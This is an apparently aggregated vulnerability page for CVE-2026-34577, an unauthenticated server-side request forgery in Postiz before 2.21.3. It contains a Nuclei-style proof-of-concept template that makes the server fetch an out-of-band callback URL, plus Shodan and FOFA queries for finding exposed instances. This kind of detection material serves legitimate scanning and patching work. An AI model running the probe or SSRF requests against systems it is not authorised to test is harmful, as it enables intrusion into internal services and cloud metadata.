CVE-2026-34577: Postiz < 2.21.3 - Unauthenticated Server-Side Request Forgery

2026-11-12 PoC Public

Description

Postiz before 2.21.3 exposes an unauthenticated GET /public/stream endpoint that fetches a user-supplied URL and returns its response; a weak mp4 suffix check allows requests to internal HTTP services.

Details

CVE
CVE-2026-34577 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-34577

info:
  name: Postiz < 2.21.3 - Unauthenticated Server-Side Request Forgery
  author: ashish-cybersec
  severity: high
  description: |
    Postiz before 2.21.3 exposes an unauthenticated GET /public/stream endpoint that fetches a user-supplied URL and returns its response; a weak mp4 suffix check allows requests to internal HTTP services.
  impact: |
    An unauthenticated attacker can read internal HTTP services and cloud metadata through the Postiz server.
  remediation: |
    Upgrade to Postiz 2.21.3 or later, which rejects unsafe URLs and requires public HTTPS destinations.
  reference:
    - https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-mv6h-v3jg-g539
    - https://github.com/gitroomhq/postiz-app/releases/tag/v2.21.3
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34577
  classification:
    cve-id: CVE-2026-34577
    epss-score: 0.00482
    epss-percentile: 0.41892
    cwe-id: CWE-918
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
  metadata:
    verified: true
    max-request: 2
    vendor: gitroomhq
    product: postiz
    shodan-query: 'html:"Postiz Register"'
    fofa-query: 'title="Postiz Register"'
  tags: cve,cve2026,postiz,ssrf,oast,unauth,gitroomhq

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth"

    matchers:
      - type: regex
        part: body
        regex:
          - '(?i)<title>Postiz[^<]*</title>'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/public/stream?url=http://{{interactsh-url}}/x.mp4"
      - "{{BaseURL}}/public/stream?url=http://{{interactsh-url}}/x.mp4"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'interactsh_protocol == "http"'
          - 'contains(interactsh_request, "/x.mp4")'
        condition: and
# digest: 4a0a0047304502201e4fd2d3a43b056185bc435ad578c77363578170a02cf6c7ad3ad05128ff3ed4022100afc0bd0b4238eb2f7840d9785ebd5d598aec46183556198cb63d8985241e8e2c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life